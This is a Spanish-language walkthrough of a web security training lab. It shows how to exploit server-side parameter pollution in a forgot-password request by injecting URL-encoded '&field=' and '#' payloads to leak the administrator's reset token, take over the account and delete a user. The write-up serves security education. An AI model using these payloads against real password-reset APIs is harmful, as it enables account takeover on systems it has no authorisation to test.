API Testing Lab 2
Skills
- Exploiting server-side parameter pollution in a query string
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Para resolver
el laboratorio, debemos iniciar sesión
como el usuario administrator
y borrar
el usuario carlos
Resolución
Al acceder
a la web
nos sale esto
Pulsamos sobre My account
y posteriormente sobre Forgot password?
Introducimos
el nombre administrator
Si nos vamos a la extensión Logger ++
vemos esto
Hay casos en los que podemos contaminar
los parámetros
que se envían
al servidor
, en este caso estamos usando #
urlencodeado para ver si podemos truncar
el resto
de parámetros
de la query
1
csrf=iKKdRZ0MDh7Ms7H0thbHhJ4Sif5lI4De&username=administrator%23
Con el payload &field=test
urlencodeado estamos intentando inyectar
ese parámetro
en la query
. En el caso de que haya dos parámetros
con el mismo nombre
, uno el propio de la query
y otro el que nosotros hemos inyectado, la API
los interpretará
de diferente forma dependiendo
del la tecnología
que se utilice. Por ejemplo, PHP
solo analiza
el último parámetro
, ASP.NET combina ambos parámetros
y Node.js/Express
solo analiza
el primer parámetro
1
csrf=iKKdRZ0MDh7Ms7H0thbHhJ4Sif5lI4De&username=administrator%26field=test
Truncamos el resto de la query añdiendo # urlencodeado al final
y seguimos obteniendo la misma respuesta
, lo cual nos sugiere que el servidor
puede reconocer
como válido
el parámetro
que hemos inyectado
1
csrf=iKKdRZ0MDh7Ms7H0thbHhJ4Sif5lI4De&username=administrator%26field=test%23
Lo siguiente que debemos hacer es enviar la petición
al Intruder
Nos dirigimos a Payloads
y seleccionamos como payload Server-side variable names
Obtenemos
dos campos válidos
, username
y email
Si asignamos el campo field=username
obtenemos el nombre
del usuario
Si asignamos el campo field=email
obtenemos el mismo mensaje
que veces anteriores
Si inspeccionamos
el código fuente
vemos que existe este archivo js
Si accedemos a https://0a7d001103cc125d87a50cae009d00b5.web-security-academy.net/static/js/forgotPassword.js
veremos todo su contenido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
let forgotPwdReady = (callback) => {
if (document.readyState !== "loading") callback();
else document.addEventListener("DOMContentLoaded", callback);
}
function urlencodeFormData(fd){
let s = '';
function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
for(let pair of fd.entries()){
if(typeof pair[1]=='string'){
s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
}
}
return s;
}
const validateInputsAndCreateMsg = () => {
try {
const forgotPasswordError = document.getElementById("forgot-password-error");
forgotPasswordError.textContent = "";
const forgotPasswordForm = document.getElementById("forgot-password-form");
const usernameInput = document.getElementsByName("username").item(0);
if (usernameInput && !usernameInput.checkValidity()) {
usernameInput.reportValidity();
return;
}
const formData = new FormData(forgotPasswordForm);
const config = {
method: "POST",
headers: {
"Content-Type": "x-www-form-urlencoded",
},
body: urlencodeFormData(formData)
};
fetch(window.location.pathname, config)
.then(response => response.json())
.then(jsonResponse => {
if (!jsonResponse.hasOwnProperty("result"))
{
forgotPasswordError.textContent = "Invalid username";
}
else
{
forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
forgotPasswordForm.className = "";
forgotPasswordForm.style.display = "none";
}
})
.catch(err => {
forgotPasswordError.textContent = "Invalid username";
});
} catch (error) {
console.error("Unexpected Error:", error);
}
}
const displayMsg = (e) => {
e.preventDefault();
validateInputsAndCreateMsg(e);
};
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});
Lo que más llama la atención es el parámetro reset_token
, si nosotros ponemos ese campo obtendremos
el reset token
del usuario administrador
. El campo type
tiene los valores username
y email
y ambos se han podido añadir
como un parámetro
extra en la query
, por lo tanto cabía la posibilidad
de que también pudiéramos añadir reset_token
1
csrf=iKKdRZ0MDh7Ms7H0thbHhJ4Sif5lI4De&username=administrator%26field=reset_token
Si accedemos a https://0a7d001103cc125d87a50cae009d00b5.web-security-academy.net/forgot-password?reset_token=od0enk6i7aqpjksrhv7pm1x19pactjbb
podremos cambiarle
la contraseña
al usuario administrador
Nos logueamos
como el usuario administrador
Pulsamos sobre Admin panel
y eliminamos
al usuario carlos
![[image_17.png]]
![[image_18.png]]